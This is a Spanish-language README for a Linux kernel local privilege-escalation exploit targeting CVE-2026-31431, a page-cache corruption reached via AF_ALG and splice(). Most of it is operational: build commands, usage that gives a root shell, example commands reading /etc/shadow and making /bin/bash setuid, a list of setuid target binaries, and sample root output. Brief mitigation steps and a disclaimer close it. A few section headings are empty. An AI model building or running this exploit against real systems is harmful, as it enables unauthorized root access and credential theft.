
Exploit para CVE-2026-31431, una vulnerabilidad de corrupción de caché de páginas del kernel de Linux, que proporciona shell root interactivo y ejecución de comandos no interactiva mediante cadenas de AF_ALG y splice().
Herramienta de explotación de vulnerabilidad de contaminación de page cache en el kernel de Linux, con soporte para ejecución de comandos no interactiva.
CVE-2026-31431 es una vulnerabilidad de defecto lógico en el kernel de Linux, presente en la implementación del algoritmo AEAD authencesn. A través de la cadena de llamadas al sistema AF_ALG y splice(), un atacante puede escribir 4 bytes de datos en el page cache de cualquier archivo legible.
Alcance:
Características de la vulnerabilidad:
.
├── copyfail_universal.c # Código fuente del POC principal (compilación estática, sin dependencia de libc)
├── copyfail_universal # Binario compilado
├── run_cmd.sh # Script wrapper para ejecución no interactiva
├── Makefile # Script de compilación
└── README.md # Este documento
# Método 1: usar gcc y ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Método 2: usar Makefile
make
./copyfail_universal
# Método 1: usar el script wrapper (recomendado)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Método 2: mediante pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Método 3: usar variables de entorno
CMD='whoami' ./copyfail_universal
# El objetivo predeterminado es /usr/bin/su
# Se puede especificar otro objetivo modificando la variable path en el código fuente
# Objetivos comunes disponibles:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
La vulnerabilidad solo modifica el page cache, no modifica archivos en disco. Ejecute el siguiente comando para recuperarse:
sync; echo 3 > /proc/sys/vm/drop_caches
El script run_cmd.sh ya incluye la función de recuperación automática.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
| Programa | Ruta | Disponibilidad |
|---|---|---|
| su | /usr/bin/su | ✅ Predeterminado |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |
Buscar todos los programas setuid en el sistema:
find / -perm -4000 -user root -type f 2>/dev/null
Actualizar el kernel - Actualizar a una versión del kernel que incluya el parche a664bf3d603d
Mitigación temporal - Deshabilitar el módulo algif_aead:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Entornos de contenedores - Usar seccomp para bloquear la creación de sockets AF_ALG
authencesn usa el búfer de destino como almacenamiento temporal, escribiendo 4 bytes fuera de los límitessplice()Esta herramienta está destinada únicamente a investigación de seguridad y pruebas autorizadas. El uso de esta herramienta para atacar sistemas no autorizados es ilegal. El usuario es el único responsable de todas las consecuencias legales.